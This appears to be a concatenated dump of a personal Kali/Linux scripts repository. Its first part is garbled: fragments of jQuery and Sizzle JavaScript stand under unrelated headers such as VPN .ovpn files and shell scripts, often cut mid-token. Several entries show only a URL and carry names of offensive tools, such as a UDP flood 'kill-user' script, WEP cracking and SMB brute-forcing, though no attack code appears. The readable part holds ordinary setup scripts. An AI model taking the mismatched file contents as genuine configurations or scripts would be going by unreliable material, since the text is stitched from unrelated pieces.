34 | // IE submit delegation 35 | if ( !jQuery.support.submitBubbles ) { 36 | 37 | jQuery.event.special.submit = { 38 | setup: function() { 39 | // Only need this for delegated form submit events 40 | if ( jQuery.nodeName( this, "form" ) ) { 41 | return false; 42 | } 43 | 44 | // Lazy-add a submit handler when a descendant form may potentially be submitted 45 | jQuery.event.add( this, "click._submit keypress._submit", function( e ) { 46 | // Node name check avoids a VML-related crash in IE (#9807) 47 | var elem = e.target, 48 | form = jQuery.nodeName( elem, "input" ) || jQuery.nodeName( elem, "button" ) ? elem.form : undefined; 49 | if ( form && !jQuery._data( form, "submitBubbles" ) ) { 50 | jQuery.event.add( form, "submit._submit", function( event ) { 51 | event._submit_bubble = true; 52 | }); 53 | jQuery._data( form, "submitBubbles", true ); 54 | } 55 | }); 56 | // return undefined since we don't need an event listener 57 | }, 58 | 59 | postDispatch: function( event ) { 60 | // If form was submitted by the user, bubble the event up the tree 61 | if ( event._submit_bubble ) { 62 | delete event._submit_bubble; 63 | if ( this.parentNode && !event.isTrigger ) { 64 | jQuery.event.simulate( "submit", this.parentNode, event, true ); 65 | } 66 | } 67 | }, 68 | 69 | teardown: function() { 70 | // Only need this for delegated form submit events 71 | if ( jQuery.nodeName( this, "form" ) ) { 72 | return false; 73 | } 74 | 75 | // Remove delegated handlers; cleanData eventually reaps submit handlers attached above 76 | jQuery.event.remove( this, "._submit" ); 77 | } 78 | }; 79 | } 80 | 81 | // IE change delegation and checkbox/radio fix 82 | if ( !jQuery.support.changeBubbles ) { 83 | 84 | jQuery.event.special.change = { 85 | 86 | setup: function() { 87 | 88 | if ( rformElems.test( this.nodeName ) ) { 89 | // IE doesn't fire chang -------------------------------------------------------------------------------- /oldies/ivpn-setup/ivpn-openvpn-config/USA - Salt Lake City.ovpn: -------------------------------------------------------------------------------- 1 | (elem.type !== "radio" && elem.type !== "checkbox") ) { 2 | return event.handleObj.handler.apply( this, arguments ); 3 | } 4 | }, 5 | 6 | teardown: function() { 7 | jQuery.event.remove( this, "._change" ); 8 | 9 | return !rformElems.test( this.nodeName ); 10 | } 11 | }; 12 | } 13 | 14 | // Create "bubbling" focus and blur events 15 | if ( !jQuery.support.focusinBubbles ) { 16 | jQuery.each({ focus: "focusin", blur: "focusout" }, function( orig, fix ) { 17 | 18 | // Attach a single capturing handler while someone wants focusin/focusout 19 | var attaches = 0, 20 | handler = function( event ) { 21 | jQuery.event.simulate( fix, event.target, jQuery.event.fix( event ), true ); 22 | }; 23 | 24 | jQuery.event.special[ fix ] = { 25 | setup: function() { 26 | if ( attaches++ === 0 ) { 27 | document.addEventListener( orig, handler, true ); 28 | } 29 | }, 30 | teardown: function() { 31 | if ( --attaches === 0 ) { 32 | document.removeEventListener( orig, handler, true ); 33 | } 34 | } 35 | }; 36 | }); 37 | } 38 | 39 | jQuery.fn.extend({ 40 | 41 | on: function( types, selector, data, fn, /*INTERNAL*/ one ) { 42 | var type, origFn; 43 | 44 | // Types can be a map of types/handlers 45 | if ( typeof types === "object" ) { 46 | // ( types-Object, selector, data ) 47 | if ( typeof selector !== "string" ) { 48 | // ( types-Object, data ) 49 | data = data || selector; 50 | selector = undefined; 51 | } 52 | for ( type in types ) { 53 | this.on( type, selector, data, types[ type ], one ); 54 | } 55 | return this; 56 | } 57 | 58 | if ( data == null && fn == null ) { 59 | // ( types, fn ) 60 | fn = selector; 61 | data = selector = undefined; 62 | } else if ( fn == null ) { 63 | if ( typeof selector === "string" ) { 64 | // ( types, selector, fn ) 65 | fn = data; 66 | data = undefined; 67 | } else { 68 | // ( types, data, fn ) 69 | fn = data; 70 | data = selector; 71 | selector = undefined; 72 | } 73 | } 74 | if ( fn === false ) { 75 | fn = returnFalse; 76 | } else if ( !fn ) { 77 | return this; 78 | } 79 | 80 | if ( one === 1 ) { 81 | origFn = fn; 82 | fn = function( event ) { 83 | // Can use an empty set, since event contains the info 84 | jQuery().off( event ); 85 | return origFn.apply( this, arguments ); 86 | }; 87 | // Use same guid so caller can remove using origFn 88 | fn.guid = origFn.guid || ( origFn.guid = jQuery.guid++ ); 89 | } 90 | return this.each( function() { 91 | jQuery.event.add( this, types, fn, data, selector ); 92 | }); 93 | }, 94 | one: function( types, selector, data, fn ) { 95 | return this.on( types, selector, data, fn, 1 ); 96 | }, 97 | off: function( types, selector, fn ) { 98 | var handleObj, type; 99 | if ( types && types.preventDefault && types.handleObj ) { 100 | // ( event ) dispatched jQuery.Event 101 | handleObj = types.handleObj; 102 | jQuery( ty -------------------------------------------------------------------------------- /oldies/ivpn-setup/ivpn-openvpn-config/United Kingdom.ovpn: -------------------------------------------------------------------------------- 1 | (function( window, undefined ) { 2 | 3 | var i, 4 | cachedruns, 5 | Expr, 6 | getText, 7 | isXML, 8 | compile, 9 | hasDuplicate, 10 | outermostContext, 11 | 12 | // Local document vars 13 | setDocument, 14 | document, 15 | docElem, 16 | documentIsXML, 17 | rbuggyQSA, 18 | rbuggyMatches, 19 | matches, 20 | contains, 21 | sortOrder, 22 | 23 | // Instance-specific data 24 | expando = "sizzle" + -(new Date()), 25 | preferredDoc = window.document, 26 | support = {}, 27 | dirruns = 0, 28 | done = 0, 29 | classCache = createCache(), 30 | tokenCache = createCache(), 31 | compilerCache = createCache(), 32 | 33 | // General-purpose constants 34 | strundefined = typeof undefined, 35 | MAX_NEGATIVE = 1 << 31, 36 | 37 | // Array methods 38 | arr = [], 39 | pop = arr.pop, 40 | push = arr.push, 41 | slice = arr.slice, 42 | // Use a stripped-down indexOf if we can't use a native one 43 | indexOf = arr.indexOf || function( elem ) { 44 | var i = 0, 45 | len = this.length; 46 | for ( ; i < len; i++ ) { 47 | if ( this[i] === elem ) { 48 | return i; 49 | } 50 | } 51 | return -1; 52 | }, 53 | 54 | 55 | // Regular expressions 56 | 57 | // Whitespace characters http://www.w3.org/TR/css3-selectors/#whitespace 58 | whitespace = "[\\x20\\t\\r\\n\\f]", 59 | // http://www.w3.org/TR/css3-syntax/#characters 60 | characterEncoding = "(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+", 61 | 62 | // Loosely modeled on CSS identifier characters 63 | // An unquoted value should be a CSS identifier http://www.w3.org/TR/css3-selectors/#attribute-selectors 64 | // Proper syntax: http://www.w3.org/TR/CSS21/syndata.html#value-def-identifier 65 | identifier = characterEncoding.replace( "w", "w#" ), 66 | 67 | // Acceptable operators http://www.w3.org/TR/selectors/#attribute-selectors 68 | operators = "([*^$|!~]?=)", 69 | attributes = "\\[" + whitespace + "*(" + characterEncoding + ")" + whitespace + 70 | "*(?:" + operators + whitespace + "*(?:(['\"])((?:\\\\.|[^\\\\])*?)\\3|(" + identifier + ")|)|)" + whitespace + "*\\]", 71 | 72 | // Prefer arguments quoted, 73 | // then not containing pseudos/brackets, 74 | // then attribute selectors/non-parenthetical expressions, 75 | // then anything else 76 | // These preferences are here to reduce the number of selectors 77 | // needing tokenize in the PSEUDO preFilter 78 | pseudos = ":(" + characterEncoding + ")(?:\\(((['\"])((?:\\\\.|[^\\\\])*?)\\3|((?:\\\\.|[^\\\\()[\\]]|" + attributes.replace( 3, 8 ) + ")*)|.*)\\)|)", 79 | 80 | // Leading and non-escaped trailing whitespace, capturing some non-whitespace characters preceding the latter 81 | rtrim = new RegExp( "^" + whitespace + "+|((?:^|[^\\\\])(?:\\\\.)*)" + whitespace + "+$", "g" ), 82 | 83 | rcomma = new RegExp( "^" + whitespace + "*," + whitespace + "*" ), 84 | rcombinators = new RegExp( "^" + whitespace + "*([\\x20\\t\\r\\n\\f>+~])" + whitespace + "*" ), 85 | rpseudo -------------------------------------------------------------------------------- /oldies/live-build-scripts/test-run-kernel.sh: -------------------------------------------------------------------------------- 1 | le.contains = function( context, elem ) { 2 | // Set document vars if needed 3 | if ( ( context.ownerDocument || context ) !== document ) { 4 | setDocument( context ); 5 | } 6 | return contains( context, elem ); 7 | }; 8 | 9 | Sizzle.attr = function( elem, name ) { 10 | var val; 11 | 12 | // Set document vars if needed 13 | if ( ( elem.ownerDocument || elem ) !== document ) { 14 | setDocument( elem ); 15 | } 16 | 17 | if ( !documentIsXML ) { 18 | name = name.toLowerCase(); 19 | } 20 | if ( (val = Expr.attrHandle[ name ]) ) { 21 | return val( elem ); 22 | } 23 | if ( documentIsXML || support.attributes ) { 24 | return elem.getAttribute( name ); 25 | } 26 | return ( (val = elem.getAttributeNode( name )) || elem.getAttribute( name ) ) && elem[ name ] === true ? 27 | name : 28 | val && val.specified ? val.value : null; 29 | }; 30 | 31 | Sizzle.error = function( msg ) { 32 | throw new Error( "Syntax error, unrecognized expression: " + msg ); 33 | }; 34 | 35 | // Document sorting and removing duplicates 36 | Sizzle.uniqueSort = function( results ) { 37 | var elem, 38 | duplicates = [], 39 | i = 1, 40 | j = 0; 41 | 42 | // Unless we *know* we can detect duplicates, assume their presence 43 | hasDuplicate = !support.detectDuplicates; 44 | results.sort( sortOrder ); 45 | 46 | if ( hasDuplicate ) { 47 | for ( ; (elem = results[i]); i++ ) { 48 | if ( elem === results[ i - 1 ] ) { 49 | j = duplicates.push( i ); 50 | } 51 | } 52 | while ( j-- ) { 53 | results.splice( duplicates[ j ], 1 ); 54 | } 55 | } 56 | 57 | return results; 58 | }; 59 | 60 | function siblingCheck( a, b ) { 61 | var cur = b && a, 62 | diff = cur && ( ~b.sourceIndex || MAX_NEGATIVE ) - ( ~a.sourceInde -------------------------------------------------------------------------------- /oldies/mac-scripts/brew-for-mac/install-homebrew-mac.sh: -------------------------------------------------------------------------------- 1 | === true; 2 | } 3 | } else { 4 | cache = outerCache[ dir ] = [ dirkey ]; 5 | cache[1] = matcher( elem, context, xml ) || cachedruns; 6 | if ( cache[1] === true ) { 7 | return true; 8 | } 9 | } 10 | } 11 | } 12 | } 13 | }; 14 | } 15 | 16 | function elementMatcher( matchers ) { 17 | return matchers.length > 1 ? 18 | function( elem, context, xml ) { 19 | var i = matchers.length; 20 | while ( i-- ) { 21 | if ( !matchers[i]( elem, context, xml ) ) { 22 | return false; 23 | } 24 | } 25 | return true; 26 | } : 27 | matchers[0]; 28 | } 29 | 30 | function condense( unmatched, map, filter, context, -------------------------------------------------------------------------------- /oldies/mac-scripts/mac-permissions-scripts/change-ownership: -------------------------------------------------------------------------------- 1 | elem ) > -1; 2 | }, implicitRelative, true ), 3 | matchers = [ function( elem, context, xml ) { 4 | return ( !leadingRelative && ( xml || context !== outermostContext ) ) || ( 5 | (checkContext = context).nodeType ? 6 | matchContext( elem, context, xml ) : 7 | matchAnyContext( elem, context, xml ) ); 8 | } ]; 9 | 10 | for ( ; i < len; i++ ) { 11 | if ( (matcher = Expr.relative[ tokens[i].type ]) ) { 12 | matchers = [ addCombinator(elementMatcher( matchers ), matcher) ]; 13 | } else { 14 | matcher = Expr.filter[ tokens[i].type ].apply( null, tokens[i].matches ); 15 | 16 | // Return special upon seeing a positional matcher 17 | if ( matcher[ expando ] ) { 18 | // Find the next relative operator (if any) for proper handling 19 | j = ++i; 20 | for ( ; j < len; j++ ) { 21 | if ( Expr.relative[ tokens[j].type ] ) { 22 | break; 23 | } 24 | } 25 | return setMatcher( 26 | i > 1 && elementMatcher( matchers ), 27 | i > 1 && toSelector( tokens.slice( 0, i - 1 ) ).replace( rtrim, "$1" ), 28 | matcher, 29 | i < j && matcherFromTokens( tokens.slice( i, j ) ), 30 | j < len && matcherFromTokens( (tokens = tokens.slice( j )) ), 31 | j < len && toSelector( tokens ) 32 | ); 33 | } 34 | matchers.push( matcher ); 35 | } 36 | } 37 | 38 | return elementMatcher( matchers ); 39 | } 40 | 41 | function matcherFromGroupMatchers( elementMatchers, setM -------------------------------------------------------------------------------- /oldies/monitor-mode-scripts/solid-monitor: -------------------------------------------------------------------------------- 1 | superMatcher ) : 2 | superMatcher; 3 | } 4 | 5 | compile = Sizzle.compile = function( selector, group /* Internal Use Only */ ) { 6 | var i, 7 | setMatchers = [], 8 | elementMatchers = [], 9 | cached = compilerCache[ selector + " " ]; 10 | 11 | if ( !cached ) { 12 | // Generate a function of recursive functions that can be used to check each element 13 | if ( !group ) { 14 | group = tokenize( selector ); 15 | } 16 | i = group.length; 17 | while ( i-- ) { 18 | cached = matcherFromTokens( group[i] ); 19 | if ( cached[ expando ] ) { 20 | setMatchers.push( cached ); 21 | } else { 22 | elementMatchers.push( cached ); 23 | } 24 | } 25 | 26 | // Cache the compiled function 27 | cached = compilerCache( selector, matcherFromGroupMatchers( elementMatchers, setMatchers ) ); 28 | } 29 | return cached; 30 | }; 31 | 32 | function multipleContexts( selector, contexts, results ) { 33 | var i = 0, 34 | len = contexts.length; 35 | for ( ; i < len; i++ ) { 36 | Sizzle( selector, contexts[i], results ); 37 | } 38 | return results; 39 | } 40 | 41 | function select( selector, context, results, seed ) { 42 | var i, tokens, token, type, find, 43 | match = tokenize( selector ); 44 | 45 | if ( !seed ) { 46 | // Try to minimize operations if there is only one group 47 | if ( match.length === 1 ) { 48 | 49 | // Take a shortcut and set the context if the root selector is an ID 50 | tokens = match[0] = match[0].slice( 0 ); 51 | if ( tokens.length > 2 && (token = tokens[0]).type === "ID" && 52 | context.nodeType === 9 && !documentIsXML && 53 | Expr.relative[ tokens[1].type ] ) { 54 | 55 | context = Expr.find["ID"]( token.matches[0].replace( runescape, funescape ), context )[0]; 56 | if ( !context ) { 57 | return results; 58 | } 59 | 60 | selector = selector.slice( tokens.shift().value.length ); 61 | } 62 | 63 | // Fetch a seed set for right-to-left matching 64 | i = matchExpr["needsContext"].test( selector ) ? 0 : tokens.length; 65 | while ( i-- ) { 66 | token = tokens[i]; 67 | 68 | // Abort if we hit a combinator 69 | if ( Expr.relative[ (type = token.type) ] ) { 70 | break; 71 | } 72 | if ( (find = Expr.find[ type ]) ) { 73 | // Search, expanding context for leading sibling combinators 74 | if ( (seed = find( 75 | token.mat -------------------------------------------------------------------------------- /oldies/post-install-scripts/assets/NetworkManager-managed.conf: -------------------------------------------------------------------------------- 1 | l ); 2 | 3 | if ( !runtil.test( name ) ) { 4 | selector = until -------------------------------------------------------------------------------- /oldies/post-install-scripts/assets/add-apt-repository: -------------------------------------------------------------------------------- 1 | p.th = wrapMap.td; 2 | 3 | jQuery.fn.extend({ 4 | text: function( value ) { 5 | return jQuery.access( this, function( value ) { 6 | return value === undefined ? 7 | jQuery.text( this ) : 8 | this.empty().append( ( this[0] && this[0].ownerDocument || document ).createTextNode( value ) ); 9 | }, null, value, arguments.length ); 10 | }, 11 | 12 | wrapAll: function( html ) { 13 | if ( jQuery.isFunction( html ) ) { 14 | return this.each(function(i) { 15 | jQuery(this).wrapAll( html.call(this, i) ); 16 | }); 17 | } 18 | 19 | if ( this[0] ) { 20 | // The elements to wrap the target around 21 | var wrap = jQuery( html, this[0].ownerDocument ).eq(0).clone(true); 22 | 23 | if ( this[0].parentNode ) { 24 | wrap.insertBefore( this[0] ); 25 | } 26 | 27 | wrap.map(function() { 28 | var elem = this; 29 | 30 | while ( elem.firstChild && elem.first -------------------------------------------------------------------------------- /oldies/post-install-scripts/assets/htoprc: -------------------------------------------------------------------------------- 1 | oid leaking memory 2 | fragment = first = null; 3 | } 4 | } 5 | 6 | return this; 7 | } 8 | }); 9 | 10 | function findOrAppend( elem, tag ) { 11 | return elem.getElementsByTagName( tag )[0] || elem.appendChild( elem.ownerDocument.createElement( tag ) ); 12 | } 13 | 14 | // Replace/restore the type attribute of script elements for safe DOM manipulation 15 | function disableScript( elem ) { 16 | var attr = elem.getAttributeNode("type"); 17 | elem.type = ( attr && attr.specified ) + "/" + elem.type; 18 | return elem; 19 | } 20 | function restoreScript( elem ) { 21 | var match = rscriptTypeMasked.exec( elem.type ); 22 | if ( match ) { 23 | elem.type = match[1]; 24 | } else { 25 | elem.removeAttribute("type"); 26 | } 27 | return elem; 28 | } 29 | 30 | // Mark scripts as having already be -------------------------------------------------------------------------------- /oldies/post-install-scripts/assets/sources.list: -------------------------------------------------------------------------------- 1 | 2 | var elems, 3 | i = 0, 4 | ret = [], 5 | insert = jQuery( selector ), 6 | last = insert.length - 1; 7 | 8 | for ( ; i <= last; i++ ) { 9 | elems = i === last ? this : this.clone(true); 10 | jQuery( insert[i] )[ original ]( elems ); 11 | 12 | // Modern browsers can apply jQuery collections as arrays, but oldIE needs a .get() 13 | core_push.apply( ret, elems.get() ); 14 | } 15 | 16 | return this.pushStack( ret ); 17 | }; 18 | }); 19 | 20 | function getAll( context, tag ) { 21 | var elems, elem, 22 | i = 0, 23 | found = typeof context.getElementsByTagName !== core_strundefined ? context.getElementsByTagName( tag || "*" ) : 24 | typeof context.querySelectorAll !== core_strundefined ? context.querySelectorAll( tag || "* -------------------------------------------------------------------------------- /oldies/post-install-scripts/install-parrot-tools: -------------------------------------------------------------------------------- 1 | ly add leading whitespace removed by IE 2 | if ( !jQuery.support.leadingWhitespace && rleadingWhitespace.test( elem ) ) { 3 | nodes.push( context.createTextNode( rleadingWhitespace.exec( elem )[0] ) ); 4 | } 5 | 6 | // Remove IE's autoinserted from table fragments 7 | if ( !jQuery.support.tbody ) { 8 | 9 | // String was a , *may* have spurious 10 | ele -------------------------------------------------------------------------------- /oldies/post-install-scripts/post-install: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/solidOptionOS/solid-scripts/e21557a93d4177d01e70582dbbfbfd34f4d6a840/oldies/post-install-scripts/post-install -------------------------------------------------------------------------------- /oldies/rock.sh: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/solidOptionOS/solid-scripts/e21557a93d4177d01e70582dbbfbfd34f4d6a840/oldies/rock.sh -------------------------------------------------------------------------------- /oldies/search-and-destroy-scripts/udpflood-kill-user.pl: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/solidOptionOS/solid-scripts/e21557a93d4177d01e70582dbbfbfd34f4d6a840/oldies/search-and-destroy-scripts/udpflood-kill-user.pl -------------------------------------------------------------------------------- /oldies/sniffer-scripts/crackwep.pl: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/solidOptionOS/solid-scripts/e21557a93d4177d01e70582dbbfbfd34f4d6a840/oldies/sniffer-scripts/crackwep.pl -------------------------------------------------------------------------------- /oldies/sniffer-scripts/ettercap-wireshark-run: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/solidOptionOS/solid-scripts/e21557a93d4177d01e70582dbbfbfd34f4d6a840/oldies/sniffer-scripts/ettercap-wireshark-run -------------------------------------------------------------------------------- /oldies/sniffer-scripts/nmap-DNS-brute-force: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/solidOptionOS/solid-scripts/e21557a93d4177d01e70582dbbfbfd34f4d6a840/oldies/sniffer-scripts/nmap-DNS-brute-force -------------------------------------------------------------------------------- /oldies/sniffer-scripts/nmap-find-hosts-on-ip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/solidOptionOS/solid-scripts/e21557a93d4177d01e70582dbbfbfd34f4d6a840/oldies/sniffer-scripts/nmap-find-hosts-on-ip -------------------------------------------------------------------------------- /oldies/sniffer-scripts/nmap-http-recon: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/solidOptionOS/solid-scripts/e21557a93d4177d01e70582dbbfbfd34f4d6a840/oldies/sniffer-scripts/nmap-http-recon -------------------------------------------------------------------------------- /oldies/sniffer-scripts/nmap-http-title: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/solidOptionOS/solid-scripts/e21557a93d4177d01e70582dbbfbfd34f4d6a840/oldies/sniffer-scripts/nmap-http-title -------------------------------------------------------------------------------- /oldies/sniffer-scripts/nmap-ms-windows-network-recon: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/solidOptionOS/solid-scripts/e21557a93d4177d01e70582dbbfbfd34f4d6a840/oldies/sniffer-scripts/nmap-ms-windows-network-recon -------------------------------------------------------------------------------- /oldies/sniffer-scripts/nmap-smb-brute: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/solidOptionOS/solid-scripts/e21557a93d4177d01e70582dbbfbfd34f4d6a840/oldies/sniffer-scripts/nmap-smb-brute -------------------------------------------------------------------------------- /oldies/sniffer-scripts/nmap-superscript: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/solidOptionOS/solid-scripts/e21557a93d4177d01e70582dbbfbfd34f4d6a840/oldies/sniffer-scripts/nmap-superscript -------------------------------------------------------------------------------- /oldies/sniffer-scripts/nmap-traceroute-geolocation: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/solidOptionOS/solid-scripts/e21557a93d4177d01e70582dbbfbfd34f4d6a840/oldies/sniffer-scripts/nmap-traceroute-geolocation -------------------------------------------------------------------------------- /oldies/sniffer-scripts/setup-wifite-and-reaver: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/solidOptionOS/solid-scripts/e21557a93d4177d01e70582dbbfbfd34f4d6a840/oldies/sniffer-scripts/setup-wifite-and-reaver -------------------------------------------------------------------------------- /oldies/sniffer-scripts/solid-capture: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/solidOptionOS/solid-scripts/e21557a93d4177d01e70582dbbfbfd34f4d6a840/oldies/sniffer-scripts/solid-capture -------------------------------------------------------------------------------- /oldies/ssh-scripts/banner/issue.net: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/solidOptionOS/solid-scripts/e21557a93d4177d01e70582dbbfbfd34f4d6a840/oldies/ssh-scripts/banner/issue.net -------------------------------------------------------------------------------- /oldies/ssh-scripts/banner/motd: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/solidOptionOS/solid-scripts/e21557a93d4177d01e70582dbbfbfd34f4d6a840/oldies/ssh-scripts/banner/motd -------------------------------------------------------------------------------- /oldies/ssh-scripts/setup-banner: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/solidOptionOS/solid-scripts/e21557a93d4177d01e70582dbbfbfd34f4d6a840/oldies/ssh-scripts/setup-banner -------------------------------------------------------------------------------- /oldies/troubleshooting-network-issues/bounce-interface: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/solidOptionOS/solid-scripts/e21557a93d4177d01e70582dbbfbfd34f4d6a840/oldies/troubleshooting-network-issues/bounce-interface -------------------------------------------------------------------------------- /oldies/troubleshooting-network-issues/fix-sierra-mobile-ubunut: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/solidOptionOS/solid-scripts/e21557a93d4177d01e70582dbbfbfd34f4d6a840/oldies/troubleshooting-network-issues/fix-sierra-mobile-ubunut -------------------------------------------------------------------------------- /oldies/troubleshooting-network-issues/forceWifi: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /oldies/troubleshooting-network-issues/restart-network: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /oldies/update-kernel-armhf: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /post-install-scripts/assets/NetworkManager-managed.conf: -------------------------------------------------------------------------------- 1 | [main] 2 | plugins=ifupdown,keyfile 3 | 4 | [ifupdown] 5 | managed=true 6 | -------------------------------------------------------------------------------- /post-install-scripts/assets/add-apt-repository: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | if [ $# -eq 1 ] 3 | NM=`uname -a && date` 4 | NAME=`echo $NM | md5sum | cut -f1 -d" "` 5 | then 6 | ppa_name=`echo "$1" | cut -d":" -f2 -s` 7 | if [ -z "$ppa_name" ] 8 | then 9 | echo "PPA name not found" 10 | echo "Utility to add PPA repositories in your debian machine" 11 | echo "$0 ppa:user/ppa-name" 12 | else 13 | echo "$ppa_name" 14 | echo "deb http://ppa.launchpad.net/$ppa_name/ubuntu oneiric main " >> /etc/apt/sources.list 15 | apt-get update >> /dev/null 2> /tmp/${NAME}_apt_add_key.txt 16 | key=`cat /tmp/${NAME}_apt_add_key.txt | cut -d":" -f6 | cut -d" " -f3` 17 | apt-key adv --keyserver keyserver.ubuntu.com --recv-keys $key 18 | rm -rf /tmp/${NAME}_apt_add_key.txt 19 | fi 20 | else 21 | echo "Utility to add PPA repositories in your debian machine" 22 | echo "$0 ppa:user/ppa-name" 23 | fi 24 | -------------------------------------------------------------------------------- /post-install-scripts/assets/htoprc: -------------------------------------------------------------------------------- 1 | # Beware! This file is rewritten by htop when settings are changed in the interface. 2 | # The parser is also very primitive, and not human-friendly. 3 | fields=0 48 17 18 38 39 40 2 46 47 49 1 4 | sort_key=46 5 | sort_direction=1 6 | hide_threads=0 7 | hide_kernel_threads=1 8 | hide_userland_threads=0 9 | shadow_other_users=0 10 | show_thread_names=0 11 | highlight_base_name=0 12 | highlight_megabytes=1 13 | highlight_threads=0 14 | tree_view=1 15 | header_margin=1 16 | detailed_cpu_time=0 17 | cpu_count_from_zero=0 18 | update_process_names=0 19 | account_guest_in_cpu_meter=0 20 | color_scheme=0 21 | delay=15 22 | left_meters=AllCPUs Memory Memory Swap 23 | left_meter_modes=1 1 2 1 24 | right_meters=Battery Blank Tasks LoadAverage Uptime Clock 25 | right_meter_modes=1 2 2 2 2 4 26 | -------------------------------------------------------------------------------- /post-install-scripts/assets/sources.list: -------------------------------------------------------------------------------- 1 | # Kali-Rolling Repos 2 | deb http://http.kali.org/kali kali-rolling main contrib non-free 3 | deb-src http://http.kali.org/kali kali-rolling main contrib non-free 4 | 5 | # Kali Dev Repos 6 | deb http://http.kali.org/kali kali-dev main contrib non-free 7 | deb-src http://repo.kali.org/kali kali-dev main contrib non-free 8 | 9 | # Kali Bleeding-Edge Repos 10 | deb http://http.kali.org/kali kali-bleeding-edge main contrib non-free 11 | deb-src http://http.kali.org/kali kali-bleeding-edge main contrib non-free 12 | 13 | # X-Swat Repo - graphics drivers 14 | deb http://ppa.launchpad.net/ubuntu-x-swat/x-updates/ubuntu oneiric main 15 | 16 | # Themes Repo 17 | deb http://ppa.launchpad.net/noobslab/themes/ubuntu oneiric main 18 | 19 | -------------------------------------------------------------------------------- /post-install-scripts/initialize-metasploit: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | echo "Starting postgresql.." 4 | sudo /etc/init.d/postgresql start" 5 | echo "" 6 | echo "Complete" 7 | echo "" 8 | echo "Setting up the database.." 9 | echo "" 10 | sudo msfdb init 11 | 12 | -------------------------------------------------------------------------------- /post-install-scripts/install-parrot-tools: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | sudo apt-get install parrot-tools-full 3 | sudo apt-get install parrot-tools-arm 4 | sudo apt-get install parrot-tools-cloud 5 | sudo apt-get install parrot-meta-forensic 6 | sudo apt-get install parrot-meta-gpu 7 | sudo apt-get install parrot-meta-pwtwools 8 | sudo apt-get install parrot-meta-rfid 9 | sudo apt-get install parrot-meta-sdr parrot-meta-voip parrot-meta-web parrot-meta-wireless 10 | -------------------------------------------------------------------------------- /radxa-rock/update-kernel-armhf: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | git://git.launchpad.net/~ubuntu-kernel-test/ubuntu/+source/linux/+git/mainline-crack v4.1 3 | 4 | 5 | #sudo apt-get -y install bc curl gcc git libncurses5-dev lzop make u-boot-tools 6 | #git clone https://github.com/offensive-security/kali-arm-build-scripts 7 | #cd kali-arm-build-scripts 8 | #./build-deps.sh 9 | #./rock_pro/scripts/getTools.sh 10 | #./createNandImg.sh 11 | #./rock_pro/scripts/flashNandImg.sh 12 | 13 | # curl -sSL https://www.kernel.org/pub/linux/kernel/v4.x/linux-4.7.5.tar.xz | unxz | tar -xvf - 14 | -------------------------------------------------------------------------------- /raspberry-pi/mount-rpi-image: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # Usage: sudo ./mount-raspbian-image 4 | # 5 | 6 | if [ -z "$1" ] 7 | then 8 | echo "Usage: sudo ./mount-raspbian-image " 9 | exit 10 | fi 11 | 12 | IMG=$1 13 | 14 | # Capture the patition details. 15 | BOOT_PARTITION=`fdisk -l "$IMG" | grep "c W95 FAT32 (LBA)"` 16 | ROOT_PARTITION=`fdisk -l "$IMG" | grep "83 Linux"` 17 | 18 | # Grab the starting sector of the partitions. 19 | BOOT_START_SECTOR=`echo "$BOOT_PARTITION" | awk '{print $2}'` 20 | ROOT_START_SECTOR=`echo "$ROOT_PARTITION" | awk '{print $2}'` 21 | 22 | # Calculate the start byte of the partitions. 23 | ((BOOT_START_BYTE=$BOOT_START_SECTOR * 512)) 24 | ((ROOT_START_BYTE=$ROOT_START_SECTOR * 512)) 25 | 26 | # Grab the sector length of the partitions. 27 | BOOT_SECTOR_LENGTH=`echo "$BOOT_PARTITION" | awk '{print $4}'` 28 | ROOT_SECTOR_LENGTH=`echo "$ROOT_PARTITION" | awk '{print $4}'` 29 | 30 | # Calculate the byte length of the partitions. 31 | ((BOOT_BYTE_LENGTH=$BOOT_SECTOR_LENGTH * 512)) 32 | ((ROOT_BYTE_LENGTH=$ROOT_SECTOR_LENGTH * 512)) 33 | 34 | # Create the mount points. 35 | sudo mkdir -p /mnt/image/boot 36 | sudo mkdir -p /mnt/image/root 37 | 38 | # Mount the partitions to the mount points. 39 | mount -v -o offset=$BOOT_START_BYTE,sizelimit=$BOOT_BYTE_LENGTH -t vfat "$IMG" /mnt/image/boot 40 | mount -v -o offset=$ROOT_START_BYTE,sizelimit=$ROOT_BYTE_LENGTH -t ext4 "$IMG" /mnt/image/root 41 | -------------------------------------------------------------------------------- /raspberry-pi/start-kali: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | ## start networking after boot - RUN MANUALLY...for now. 4 | 5 | # cycling netwoking, networkmanaer services and protocols 6 | /etc/init.d/networking stop && /etc/init.d/network-manager stop && /etc/init.d/networking start && systemctl start networking && /etc/init.d/network-manager start && /etc/init.d/resolv restart && /etc/init.d/resolv force-reload 7 | 8 | # boucing interfaces 9 | echo "bounching interfaces, anonyomizing mac addresses, and increaoing the txpower... " 10 | echo "" 11 | ifconfig eth0 down 12 | ifconfig eth0 up 13 | 14 | ifconfig wlan0 down 15 | iwconfig wlan0 txpower 